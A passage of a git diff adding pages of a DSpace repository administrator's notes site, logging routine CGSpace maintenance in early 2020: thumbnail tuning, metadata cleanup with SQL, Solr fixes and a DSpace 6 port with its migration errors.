  • Comparing the lists of items, I see that nine of the ten missing items were added less than twenty-four hours ago, and the other was added last week, so they apparently just haven’t been indexed yet +
      +
    • I am curious to check tomorrow to see if they are there
      • +
    +
    • +
+

2020-01-23

+
    +
  • I checked AReS and I see that there are now 55 items for author “Hung Nguyen-Viet”
    • +
  • Linode sent an alert that the outbound traffic rate of CGSpace (linode18) was high for several hours this morning around 5AM UTC+1 +
      +
    • I checked the nginx logs this morning for the few hours before and after that using goaccess:
      • +
    +
    • +
+
# cat /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "23/Jan/2020:0[12345678]" | goaccess --log-format=COMBINED -
+
    +
  • The top two hosts according to the amount of data transferred are: +
      +
    • 2a01:7e00::f03c:91ff:fe9a:3a37
      • +
    • 2a01:7e00::f03c:91ff:fe18:7396
      • +
    +
    • +
  • Both are on Linode, and appear to be the new and old ilri.org servers
    • +
  • I will ask the web team
    • +
  • Judging from the ILRI publications site it seems they are downloading the PDFs so they can generate higher-quality thumbnails:
    • +
  • They are apparently using this Drupal module to generate the thumbnails: sites/all/modules/contrib/pdf_to_imagefield
    • +
  • I see some excellent suggestions in this ImageMagick thread from 2012 that lead me to some nice thumbnails (default PDF density is 72, so supersample to 4X and then resize back to 25%) as well as this blog post:
    • +
+
$ convert -density 288 -filter lagrange -thumbnail 25% -background white -alpha remove -sampling-factor 1:1 -colorspace sRGB 10568-97925.pdf\[0\] 10568-97925.jpg
+
    +
  • Here I’m also explicitly setting the background to white and removing any alpha layers, but I could probably also just keep using -flatten like DSpace already does
    • +
  • I did some tests with a modified version of above that uses uses -flatten and drops the sampling-factor and colorspace, but bumps up the image size to 600px (default on CGSpace is currently 300):
    • +
+
$ convert -density 288 -filter lagrange -resize 25% -flatten 10568-97925.pdf\[0\] 10568-97925-d288-lagrange.pdf.jpg
+$ convert -flatten 10568-97925.pdf\[0\] 10568-97925.pdf.jpg
+$ convert -thumbnail x600 10568-97925-d288-lagrange.pdf.jpg 10568-97925-d288-lagrange-thumbnail.pdf.jpg
+$ convert -thumbnail x600 10568-97925.pdf.jpg 10568-97925-thumbnail.pdf.jpg
+
    +
  • This emulate’s DSpace’s method of generating a high-quality image from the PDF and then creating a thumbnail
    • +
  • I put together a proof of concept of this by adding the extra options to dspace-api’s ImageMagickThumbnailFilter.java and it works
    • +
  • I need to run tests on a handful of PDFs to see if there are any side effects
    • +
  • The file size is about double the old ones, but the quality is very good and the file size is nowhere near ilri.org’s 400KiB PNG!
    • +
  • Peter sent me the corrections and deletions for affiliations last night so I imported them into OpenRefine to work around the normal UTF-8 issue, ran them through csv-metadata-quality to make sure all Unicode values were normalized (NFC), then applied them on DSpace Test and CGSpace:
    • +
+
$ csv-metadata-quality -i ~/Downloads/2020-01-22-fix-1113-affiliations.csv -o /tmp/2020-01-22-fix-1113-affiliations.csv -u --exclude-fields 'dc.date.issued,dc.date.issued[],cg.contributor.affiliation'
+$ ./fix-metadata-values.py -i /tmp/2020-01-22-fix-1113-affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211 -t correct
+$ ./delete-metadata-values.py -i /tmp/2020-01-22-delete-36-affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211
+

2020-01-26

+
    +
  • Add “Gender” to controlled vocabulary for CRPs (#442)
    • +
  • Deploy the changes on CGSpace and run all updates on the server and reboot it +
      +
    • I had to restart the tomcat7 service several times until all Solr statistics cores came up OK
      • +
    +
    • +
  • I spent a few hours writing a script (create-thumbnails) to compare the default DSpace thumbnails with the improved parameters above and actually when comparing them at size 600px I don’t really notice much difference, other than the new ones have slightly crisper text +
      +
    • So that was a waste of time, though I think our 300px thumbnails are a bit small now
      • +
    • Another thread on the ImageMagick forum mentions that you need to set the density, then read the image, then set the density again:
      • +
    +
    • +
+
$ convert -density 288 10568-97925.pdf\[0\] -density 72 -filter lagrange -flatten 10568-97925-density.jpg
+
    +
  • One thing worth mentioning was this syntax for extracting bits from JSON in bash using jq:
    • +
+
$ RESPONSE=$(curl -s 'https://dspacetest.cgiar.org/rest/handle/10568/103447?expand=bitstreams')
+$ echo $RESPONSE | jq '.bitstreams[] | select(.bundleName=="ORIGINAL") | .retrieveLink'
+"/bitstreams/172559/retrieve"
+

2020-01-27

+
    +
  • Bizu has been having problems when she logs into CGSpace, she can’t see the community list on the front page +
      +
    • This last happened for another user in 2016-11, and it was related to the Tomcat maxHttpHeaderSize being too small because the user was in too many groups
      • +
    • I see that it is similar, with this message appearing in the DSpace log just after she logs in:
      • +
    +
    • +
+
2020-01-27 06:02:23,681 ERROR org.dspace.app.xmlui.aspect.discovery.AbstractRecentSubmissionTransformer @ Caught SearchServiceException while retrieving recent submission for: home page
+org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse 'read:(g0 OR e610 OR g0 OR g3 OR g5 OR g4102 OR g9 OR g4105 OR g10 OR g4107 OR g4108 OR g13 OR g4109 OR g14 OR g15 OR g16 OR g18 OR g20 OR g23 OR g24 OR g2072 OR g2074 OR g28 OR g2076 OR g29 OR g2078 OR g2080 OR g34 OR g2082 OR g2084 OR g38 OR g2086 OR g2088 OR g43 OR g2093 OR g2095 OR g2097 OR g50 OR g51 OR g2101 OR g2103 OR g62 OR g65 OR g77 OR g78 OR g2127 OR g2142 OR g2151 OR g2152 OR g2153 OR g2154 OR g2156 OR g2165 OR g2171 OR g2174 OR g2175 OR g129 OR g2178 OR g2182 OR g2186 OR g153 OR g155 OR g158 OR g166 OR g167 OR g168 OR g169 OR g2225 OR g179 OR g2227 OR g2229 OR g183 OR g2231 OR g184 OR g2233 OR g186 OR g2235 OR g2237 OR g191 OR g192 OR g193 OR g2242 OR g2244 OR g2246 OR g2250 OR g204 OR g205 OR g207 OR g208 OR g2262 OR g2265 OR g218 OR g2268 OR g222 OR g223 OR g2271 OR g2274 OR g2277 OR g230 OR g231 OR g2280 OR g2283 OR g238 OR g2286 OR g241 OR g2289 OR g244 OR g2292 OR g2295 OR g2298 OR g2301 OR g254 OR g255 OR g2305 OR g2308 OR g262 OR g2311 OR g265 OR g268 OR g269 OR g273 OR g276 OR g277 OR g279 OR g282 OR g292 OR g293 OR g296 OR g297 OR g301 OR g303 OR g305 OR g2353 OR g310 OR g311 OR g313 OR g321 OR g325 OR g328 OR g333 OR g334 OR g342 OR g343 OR g345 OR g348 OR g2409 [...] ': too many boolean clauses
+
    +
  • Now this appears to be a Solr limit of some kind (“too many boolean clauses”) +
      +
    • I changed the maxBooleanClauses for all Solr cores on DSpace Test from 1024 to 2048 and then she was able to see her communities…
      • +
    • I made a pull request and merged it to the 5_x-prod branch and will deploy on CGSpace later tonight
      • +
    • I am curious if anyone on the dspace-tech mailing list has run into this, so I will try to send a message about this there when I get a chance
      • +
    +
    • +
+

2020-01-28

+
    +
  • Generate a list of CIP subjects for Abenet:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "cg.subject.cip", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 127 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-01-28-cip-subjects.csv WITH CSV HEADER;
+COPY 77
+
+

2020-01-29

+
    +
  • Normalize about 4,500 DOI, YouTube, and SlideShare links on CGSpace that are missing HTTPS or using old format:
    • +
+
UPDATE metadatavalue SET text_value = regexp_replace(text_value, 'http://www.doi.org', 'https://doi.org') WHERE resource_type_id = 2 AND metadata_field_id = 220 AND text_value LIKE 'http://www.doi.org%';
+UPDATE metadatavalue SET text_value = regexp_replace(text_value, 'http://doi.org', 'https://doi.org') WHERE resource_type_id = 2 AND metadata_field_id = 220 AND text_value LIKE 'http://doi.org%';
+UPDATE metadatavalue SET text_value = regexp_replace(text_value, 'http://dx.doi.org', 'https://doi.org') WHERE resource_type_id = 2 AND metadata_field_id = 220 AND text_value LIKE 'http://dx.doi.org%';
+UPDATE metadatavalue SET text_value = regexp_replace(text_value, 'https://dx.doi.org', 'https://doi.org') WHERE resource_type_id = 2 AND metadata_field_id = 220 AND text_value LIKE 'https://dx.doi.org%';
+UPDATE metadatavalue SET text_value = regexp_replace(text_value, 'http://www.youtube.com', 'https://www.youtube.com') WHERE resource_type_id = 2 AND metadata_field_id = 219 AND text_value LIKE 'http://www.youtube.com%';
+UPDATE metadatavalue SET text_value = regexp_replace(text_value, 'http://www.slideshare.net', 'https://www.slideshare.net') WHERE resource_type_id = 2 AND metadata_field_id = 219 AND text_value LIKE 'http://www.slideshare.net%';
+
    +
  • I exported a list of all of our ISSNs with item IDs so that I could fix them in OpenRefine and submit them with multi-value separators to DSpace metadata import:
    • +
+
dspace=# \COPY (SELECT resource_id as "id", text_value as "dc.identifier.issn" FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 21) to /tmp/2020-01-29-issn.csv WITH CSV HEADER;
+COPY 23339
+
    +
  • Then, after spending two hours correcting 1,000 ISSNs I realized that I need to normalize the text_lang fields in the database first or else these will all look like changes due to the “en_US” and NULL, etc (for both ISSN and ISBN):
    • +
+
dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE resource_type_id = 2 AND metadata_field_id IN (20,21);
+UPDATE 30454
+
    +
  • Then I realized that my initial PostgreSQL query wasn’t so genius because if a field already has multiple values it will appear on separate lines with the same ID, so when dspace metadata-import sees it, the change will be removed and added, or added and removed, depending on the order it is seen!
    • +
  • A better course of action is to select the distinct ones and then correct them using fix-metadata-values.py…
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "dc.identifier.issn[en_US]", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 21 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-01-29-issn-distinct.csv WITH CSV HEADER;
+COPY 2900
+
    +
  • I re-applied all my corrections, filtering out things like multi-value separators and values that are actually ISBNs so I can fix them later
    • +
  • Then I applied 181 fixes for ISSNs using fix-metadata-values.py on DSpace Test and CGSpace (after testing locally):
    • +
+
$ ./fix-metadata-values.py -i /tmp/2020-01-29-ISSNs-Distinct.csv -db dspace -u dspace -p 'fuuu' -f 'dc.identifier.issn[en_US]' -m 21 -t correct -d
+

2020-01-30

+
    +
  • About to start working on the DSpace 6 port and I’m looking at commits that are in the not-yet-tagged DSpace 6.4: +
      +
    • [DS-4342] improve the performance of the collections/collection_id/items REST endpoint: +
        +
      • c2e6719fa763e291b81b2d61da2f8c758fe38ff3
        • +
      +
      • +
    • [DS-4136] Improve OAI import performance for a large install: +
        +
      • 3f81daf3d89b17ff4d08783ee9899e5a745851dc
        • +
      • 37004bbcf4ca3ef2a74ebc6e4774cb605884864e
        • +
      +
      • +
    • DS-4110: fix issue in legacy id cleanup of stats records +
        +
      • 3752247d6a4b83ee809cc9b197f34a8ff50b9e74
        • +
      • e6004e57f0f2f3ce5f433647fe8a467b0176836b
        • +
      • 2fb3751c9adfe7311c6df43dbd51a41479480f5e
        • +
      +
      • +
    • Fix DS-4066 by update all IDs to string type in schema: +
        +
      • f15cb33ab4272a3970572e608810de3076d541a3
        • +
      +
      • +
    • DS-3914: Fix community defiliation: +
        +
      • 19cc9719879cf69019acad72ee13915a4128e859
        • +
      • b86a7b8d66608ee2bec67fb69b37e27c9a620aa3
        • +
      +
      • +
    • [DS-3849] Default ID ‘order by’ clause for other ‘get items’ queries: +
        +
      • 7b888fa558e5792cd780d1d6a7f75564f4da3bf9
        • +
      • 8d1aa33f7b9ea5a623e1ed13f139695671c598d4
        • +
      +
      • +
    • [DS-3664] ImageMagick: Only execute “identify” on first page: +
        +
      • 33ba419f3560639bff8ea002cdfc38345c0fea8d
        • +
      +
      • +
    • DS-3658 Configure ReindexerThread disable reindex +
        +
      • 1d2f10592ac2d86f28044749f34ac05347ea0e0a
        • +
      • 05959ef315d2a1670e4b59eee4db21f93ba238fa
        • +
      • 7253095b623069d7ef0a1a13cc5a21385d0878c9
        • +
      +
      • +
    • [DS-3602] 6x Port: Incremental Update of Legacy Id fields in Solr Statistics: +
        +
      • 184f2b2153479045fba6239342c63e7f8564b8b6
        • +
      +
      • +
    • Dspace 6 ds 3545 mirage2: custom sitemap.xmap is ignored +
        +
      • 71c68f2f54dead69329298810d0fecdf76b59c09
        • +
      +
      • +
    +
    • +
  • It’s annoying that we have to target DSpace 6.3… I think I should totally cherry-pick these when I’m done
    • +
  • For now I just created a new DSpace repository and checked out the dspace-6.3 tag and started diffing and copying changes over from our 5.8 repository
    • +
  • There are some things I need to remember to check: +
      +
    • search.index settings in DSpace 5’s dspace.cfg (dunno where they are now)
      • +
    • thumbnail-fallback-files.xml
      • +
    +
    • +
  • The code currently lives in the 6_x-dev branch
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-02/index.html b/docs/2020-02/index.html new file mode 100644 index 000000000..9a55cc244 --- /dev/null +++ b/docs/2020-02/index.html @@ -0,0 +1,1329 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + February, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

February, 2020

+

+ + in + Notes + + +

+
+

2020-02-02

+
    +
  • Continue working on porting CGSpace’s DSpace 5 code to DSpace 6.3 that I started yesterday +
      +
    • Sign up for an account with MaxMind so I can get the GeoLite2-City.mmdb database
      • +
    • I still need to wire up the API credentials and cron job into the Ansible infrastructure playbooks
      • +
    • Fix some minor issues in the config and XMLUI themes, like removing Atmire stuff
      • +
    • The code finally builds and runs with a fresh install
      • +
    +
    • +
+
    +
  • Now we don’t specify the build environment because site modification are in local.cfg, so we just build like this:
    • +
+
$ schedtool -D -e ionice -c2 -n7 nice -n19 mvn -U -Dmirage2.on=true -Dmirage2.deps.included=false clean package
+
    +
  • And it seems that we need to enable pgcrypto now (used for UUIDs):
    • +
+
$ psql -h localhost -U postgres dspace63
+dspace63=# CREATE EXTENSION pgcrypto;
+CREATE EXTENSION pgcrypto;
+
    +
  • I tried importing a PostgreSQL snapshot from CGSpace and had errors due to missing Atmire database migrations +
      +
    • If I try to run dspace database migrate I get the IDs of the migrations that are missing
      • +
    • I delete them manually in psql:
      • +
    +
    • +
+
dspace63=# DELETE FROM schema_version WHERE version IN ('5.0.2015.01.27', '5.6.2015.12.03.2', '5.6.2016.08.08', '5.0.2017.04.28', '5.0.2017.09.25', '5.8.2015.12.03.3');
+
    +
  • Then I ran dspace database migrate and got an error:
    • +
+
$ ~/dspace63/bin/dspace database migrate
+
+Database URL: jdbc:postgresql://localhost:5432/dspace63?ApplicationName=dspaceCli
+Migrating database to latest version... (Check dspace logs for details)
+Migration exception:
+java.sql.SQLException: Flyway migration error occurred
+        at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:673)
+        at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:576)
+        at org.dspace.storage.rdbms.DatabaseUtils.main(DatabaseUtils.java:221)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+Caused by: org.flywaydb.core.internal.dbsupport.FlywaySqlScriptException:
+Migration V6.0_2015.03.07__DS-2701_Hibernate_migration.sql failed
+-----------------------------------------------------------------
+SQL State  : 2BP01
+Error Code : 0
+Message    : ERROR: cannot drop table metadatavalue column resource_id because other objects depend on it
+  Detail: view eperson_metadata depends on table metadatavalue column resource_id
+  Hint: Use DROP ... CASCADE to drop the dependent objects too.
+Location   : org/dspace/storage/rdbms/sqlmigration/postgres/V6.0_2015.03.07__DS-2701_Hibernate_migration.sql (/home/aorth/src/git/DSpace-6.3/file:/home/aorth/dspace63/lib/dspace-api-6.3.jar!/org/dspace/storage/rdbms/sqlmigration/postgres/V6.0_2015.03.07__DS-2701_Hibernate_migration.sql)
+Line       : 391
+Statement  : ALTER TABLE metadatavalue DROP COLUMN IF EXISTS resource_id
+
+        at org.flywaydb.core.internal.dbsupport.SqlScript.execute(SqlScript.java:117)
+        at org.flywaydb.core.internal.resolver.sql.SqlMigrationExecutor.execute(SqlMigrationExecutor.java:71)
+        at org.flywaydb.core.internal.command.DbMigrate.doMigrate(DbMigrate.java:352)
+        at org.flywaydb.core.internal.command.DbMigrate.access$1100(DbMigrate.java:47)
+        at org.flywaydb.core.internal.command.DbMigrate$4.doInTransaction(DbMigrate.java:308)
+        at org.flywaydb.core.internal.util.jdbc.TransactionTemplate.execute(TransactionTemplate.java:72)
+        at org.flywaydb.core.internal.command.DbMigrate.applyMigration(DbMigrate.java:305)
+        at org.flywaydb.core.internal.command.DbMigrate.access$1000(DbMigrate.java:47)
+        at org.flywaydb.core.internal.command.DbMigrate$2.doInTransaction(DbMigrate.java:230)
+        at org.flywaydb.core.internal.command.DbMigrate$2.doInTransaction(DbMigrate.java:173)
+        at org.flywaydb.core.internal.util.jdbc.TransactionTemplate.execute(TransactionTemplate.java:72)
+        at org.flywaydb.core.internal.command.DbMigrate.migrate(DbMigrate.java:173)
+        at org.flywaydb.core.Flyway$1.execute(Flyway.java:959)
+        at org.flywaydb.core.Flyway$1.execute(Flyway.java:917)
+        at org.flywaydb.core.Flyway.execute(Flyway.java:1373)
+        at org.flywaydb.core.Flyway.migrate(Flyway.java:917)
+        at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:662)
+        ... 8 more
+Caused by: org.postgresql.util.PSQLException: ERROR: cannot drop table metadatavalue column resource_id because other objects depend on it
+  Detail: view eperson_metadata depends on table metadatavalue column resource_id
+  Hint: Use DROP ... CASCADE to drop the dependent objects too.
+        at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2422)
+        at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:2167)
+        at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:306)
+        at org.postgresql.jdbc.PgStatement.executeInternal(PgStatement.java:441)
+        at org.postgresql.jdbc.PgStatement.execute(PgStatement.java:365)
+        at org.postgresql.jdbc.PgStatement.executeWithFlags(PgStatement.java:307)
+        at org.postgresql.jdbc.PgStatement.executeCachedSql(PgStatement.java:293)
+        at org.postgresql.jdbc.PgStatement.executeWithFlags(PgStatement.java:270)
+        at org.postgresql.jdbc.PgStatement.execute(PgStatement.java:266)
+        at org.apache.commons.dbcp2.DelegatingStatement.execute(DelegatingStatement.java:291)
+        at org.apache.commons.dbcp2.DelegatingStatement.execute(DelegatingStatement.java:291)
+        at org.flywaydb.core.internal.dbsupport.JdbcTemplate.executeStatement(JdbcTemplate.java:238)
+        at org.flywaydb.core.internal.dbsupport.SqlScript.execute(SqlScript.java:114)
+        ... 24 more
+
    +
  • I think I might need to update the sequences first… nope
    • +
  • Perhaps it’s due to some missing bitstream IDs and I need to run dspace cleanup on CGSpace and take a new PostgreSQL dump… nope
    • +
  • A thread on the dspace-tech mailing list regarding this migration noticed that his database had some views created that were using the resource_id column
    • +
  • Our database had the same issue, where the eperson_metadata view was created by something (Atmire module?) but has no references in the vanilla DSpace code, so I dropped it and tried the migration again:
    • +
+
dspace63=# DROP VIEW eperson_metadata;
+DROP VIEW
+
    +
  • After that the migration was successful and DSpace starts up successfully and begins indexing +
      +
    • xmlui, solr, jspui, rest, and oai are working (rest was redirecting to HTTPS, so I set the Tomcat connector to secure="true" and it fixed it on localhost, but caused other issues so I disabled it for now)
      • +
    • I started diffing our themes against the Mirage 2 reference theme to capture the latest changes
      • +
    +
    • +
+

2020-02-03

+
    +
  • Update DSpace mimetype fallback images from KDE Breeze Icons project + +
    • +
  • Issues remaining in the DSpace 6 port of our CGSpace 5.x code: +
      +
    • Community and collection pages only show one recent submission (seems that there is only one item in Solr?)
      • +
    • Community and collection pages have tons of “Browse” buttons that we need to remove
      • +
    • Order of navigation elements in right side bar (“My Account” etc, compare to DSpace Test)
      • +
    • Home page trail says “CGSpace Home” instead of “CGSpace Home / Community List” (see DSpace Test)
      • +
    +
    • +
  • There are lots of errors in the DSpace log, which might explain some of the issues with recent submissions / Solr:
    • +
+
2020-02-03 10:27:14,485 ERROR org.dspace.browse.ItemCountDAOSolr @ caught exception: 
+org.dspace.discovery.SearchServiceException: Invalid UUID string: 1
+2020-02-03 13:20:20,475 ERROR org.dspace.app.xmlui.aspect.discovery.AbstractRecentSubmissionTransformer @ Caught SearchServiceException while retrieving recent submission for: home page
+org.dspace.discovery.SearchServiceException: Invalid UUID string: 111210
+
    +
  • If I look in Solr’s search core I do actually see items with integers for their resource ID, which I think are all supposed to be UUIDs now…
    • +
  • I dropped all the documents in the search core:
    • +
+
$ http --print b 'http://localhost:8080/solr/search/update?stream.body=<delete><query>*:*</query></delete>&commit=true'
+
    +
  • Still didn’t work, so I’m going to try a clean database import and migration:
    • +
+
$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspace63
+$ psql -h localhost -U postgres -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -U postgres -d dspace63 -O --role=dspacetest -h localhost dspace_2020-01-27.backup
+$ psql -h localhost -U postgres -c 'alter user dspacetest nosuperuser;'
+$ psql -h localhost -U postgres dspace63                               
+dspace63=# CREATE EXTENSION pgcrypto;
+dspace63=# DELETE FROM schema_version WHERE version IN ('5.0.2015.01.27', '5.6.2015.12.03.2', '5.6.2016.08.08', '5.0.2017.04.28', '5.0.2017.09.25', '5.8.2015.12.03.3');
+dspace63=# DROP VIEW eperson_metadata;
+dspace63=# \q
+$ psql -h localhost -U postgres -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspace63
+$ ~/dspace63/bin/dspace database migrate
+
    +
  • I notice that the indexing doesn’t work correctly if I start it manually with dspace index-discovery -b (search.resourceid becomes an integer!) +
      +
    • If I induce an indexing by touching dspace/solr/search/conf/reindex.flag the search.resourceid are all UUIDs…
      • +
    +
    • +
  • Speaking of database stuff, there was a performance-related update for the indexes that we used in DSpace 5 +
      +
    • We might want to apply it in DSpace 6, as it was never merged to 6.x, but it helped with the performance of /submissions in XMLUI for us in 2018-03
      • +
    +
    • +
+

2020-02-04

+
    +
  • The indexing issue I was having yesterday seems to only present itself the first time a new installation is running DSpace 6 +
      +
    • Once the indexing induced by touching dspace/solr/search/conf/reindex.flag has finished, subsequent manual invocations of dspace index-discovery -b work as expected
      • +
    • Nevertheless, I sent a message to the dspace-tech mailing list describing the issue to see if anyone has any comments
      • +
    +
    • +
  • I am seeing that the number of important commits on the unreleased DSpace 6.4 are really numerous and it might be better for us to target that version +
      +
    • I did a simple test and it’s easy to rebase my current 6.3 branch on top of the upstream dspace-6_x branch:
      • +
    +
    • +
+
$ git checkout -b 6_x-dev64 6_x-dev
+$ git rebase -i upstream/dspace-6_x
+
    +
  • I finally understand why our themes show all the “Browse by” buttons on community and collection pages in DSpace 6.x +
      +
    • The code in ./dspace-xmlui/src/main/java/org/dspace/app/xmlui/aspect/browseArtifacts/CommunityBrowse.java iterates over all the browse indexes and prints them when it is called
      • +
    • The XMLUI theme code in dspace/modules/xmlui-mirage2/src/main/webapp/themes/0_CGIAR/xsl/preprocess/browse.xsl calls the template because the id of the div matches “aspect.browseArtifacts.CommunityBrowse.list.community-browse”
      • +
    • I checked the DRI of a community page on my local 6.x and DSpace Test 5.x by appending ?XML to the URL and I see the ID is missing on DSpace 5.x
      • +
    • The issue is the same with the ordering of the “My Account” link, but in Navigation.java
      • +
    • I tried modifying preprocess/browse.xsl but it always ends up printing some default list of browse by links…
      • +
    • I’m starting to wonder if Atmire’s modules somehow override this, as I don’t see how CommunityBrowse.java can behave like ours on DSpace 5.x unless they have overridden it (as the open source code is the same in 5.x and 6.x)
      • +
    • At least the “account” link in the sidebar is overridden in our 5.x branch because Atmire copied a modified Navigation.java to the local xmlui modules folder… so that explains that (and it’s easy to replicate in 6.x)
      • +
    +
    • +
+

2020-02-05

+
    +
  • UptimeRobot told me that AReS Explorer crashed last night, so I logged into it, ran all updates, and rebooted it
    • +
  • Testing Discovery indexing speed on my local DSpace 6.3:
    • +
+
$ time schedtool -D -e ~/dspace63/bin/dspace index-discovery -b
+schedtool -D -e ~/dspace63/bin/dspace index-discovery -b  3771.78s user 93.63s system 41% cpu 2:34:19.53 total
+schedtool -D -e ~/dspace63/bin/dspace index-discovery -b  3360.28s user 82.63s system 38% cpu 2:30:22.07 total
+schedtool -D -e ~/dspace63/bin/dspace index-discovery -b  4678.72s user 138.87s system 42% cpu 3:08:35.72 total
+schedtool -D -e ~/dspace63/bin/dspace index-discovery -b  3334.19s user 86.54s system 35% cpu 2:41:56.73 total
+
    +
  • DSpace 5.8 was taking about 1 hour (or less on this laptop), so this is 2-3 times longer!
    • +
+
$ time schedtool -D -e ~/dspace/bin/dspace index-discovery -b
+schedtool -D -e ~/dspace/bin/dspace index-discovery -b  299.53s user 69.67s system 20% cpu 30:34.47 total
+schedtool -D -e ~/dspace/bin/dspace index-discovery -b  270.31s user 69.88s system 19% cpu 29:01.38 total
+
    +
  • Checking out the DSpace 6.x REST API query client +
      +
    • There is a tutorial that explains how it works and I see it is very powerful because you can export a CSV of results in order to fix and re-upload them with batch import!
      • +
    • Custom queries can be added in dspace-rest/src/main/webapp/static/reports/restQueryReport.js
      • +
    +
    • +
  • I noticed two new bots in the logs with the following user agents: +
      +
    • Jersey/2.6 (HttpUrlConnection 1.8.0_152)
      • +
    • magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)
      • +
    +
    • +
  • I filed an issue to add Jersey to the COUNTER-Robots list
    • +
  • Peter noticed that the statlets on community, collection, and item pages aren’t working on CGSpace +
      +
    • I thought it might be related to the fact that the yearly sharding didn’t complete successfully this year so the statistics-2019 core is empty
      • +
    • I removed the statistics-2019 core and had to restart Tomcat like six times before all cores would load properly (ugh!!!!)
      • +
    • After that the statlets were working properly…
      • +
    +
    • +
  • Run all system updates on DSpace Test (linode19) and restart it
    • +
+

2020-02-06

+
    +
  • I sent a mail to the dspace-tech mailing list asking about slow Discovery indexing speed in DSpace 6
    • +
  • I destroyed my PostgreSQL 9.6 containers and re-created them using PostgreSQL 10 to see if there are any speedups with DSpace 6.x:
    • +
+
$ podman pull postgres:10-alpine
+$ podman run --name dspacedb10 -v dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:10-alpine
+$ createuser -h localhost -U postgres --pwprompt dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspace63
+$ psql -h localhost -U postgres -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -U postgres -d dspacetest -O --role=dspacetest -h localhost ~/Downloads/cgspace_2020-02-06.backup
+$ pg_restore -h localhost -U postgres -d dspace63 -O --role=dspacetest -h localhost ~/Downloads/cgspace_2020-02-06.backup
+$ psql -h localhost -U postgres -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest
+$ psql -h localhost -U postgres -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspace63
+$ psql -h localhost -U postgres -c 'alter user dspacetest nosuperuser;'
+$ psql -h localhost -U postgres dspace63                               
+dspace63=# CREATE EXTENSION pgcrypto;
+dspace63=# DELETE FROM schema_version WHERE version IN ('5.0.2015.01.27', '5.6.2015.12.03.2', '5.6.2016.08.08', '5.0.2017.04.28', '5.0.2017.09.25', '5.8.2015.12.03.3');
+dspace63=# DROP VIEW eperson_metadata;
+dspace63=# \q
+
    +
  • I purged ~33,000 hits from the “Jersey/2.6” bot in CGSpace’s statistics using my check-spider-hits.sh script:
    • +
+
$ ./check-spider-hits.sh -d -p -f /tmp/jersey -s statistics -u http://localhost:8081/solr
+$ for year in 2018 2017 2016 2015; do ./check-spider-hits.sh -d -p -f /tmp/jersey -s "statistics-${year}" -u http://localhost:8081/solr; done
+
    +
  • I noticed another user agen in the logs that we should add to the list:
    • +
+
ReactorNetty/0.9.2.RELEASE
+
+
$ ./run.sh -s http://localhost:8081/solr/statistics -a export -o /tmp/statistics-2019-01.json -f 'dateYearMonth:2019-01' -k uid
+$ ls -lh /tmp/statistics-2019-01.json
+-rw-rw-r-- 1 aorth aorth 3.7G Feb  6 09:26 /tmp/statistics-2019-01.json
+
    +
  • Then I tested importing this by creating a new core in my development environment:
    • +
+
$ curl 'http://localhost:8080/solr/admin/cores?action=CREATE&name=statistics-2019&instanceDir=/home/aorth/dspace/solr/statistics&dataDir=/home/aorth/dspace/solr/statistics-2019/data'
+$ ./run.sh -s http://localhost:8080/solr/statistics-2019 -a import -o ~/Downloads/statistics-2019-01.json -k uid
+
    +
  • This imports the records into the core, but DSpace can’t see them, and when I restart Tomcat the core is not seen by Solr…
    • +
  • I got the core to load by adding it to dspace/solr/solr.xml manually, ie:
    • +
+
  <cores adminPath="/admin/cores">
+  ...
+    <core name="statistics" instanceDir="statistics" />
+    <core name="statistics-2019" instanceDir="statistics">
+        <property name="dataDir" value="/home/aorth/dspace/solr/statistics-2019/data" />
+    </core>
+  ...
+  </cores>
+
    +
  • But I don’t like having to do that… why doesn’t it load automatically?
    • +
  • I sent a mail to the dspace-tech mailing list to ask about it
    • +
  • Just for fun I tried to load these stats into a Solr 7.7.2 instance using the DSpace 7 solr config:
    • +
  • First, create a Solr statistics core using the DSpace 7 config:
    • +
+
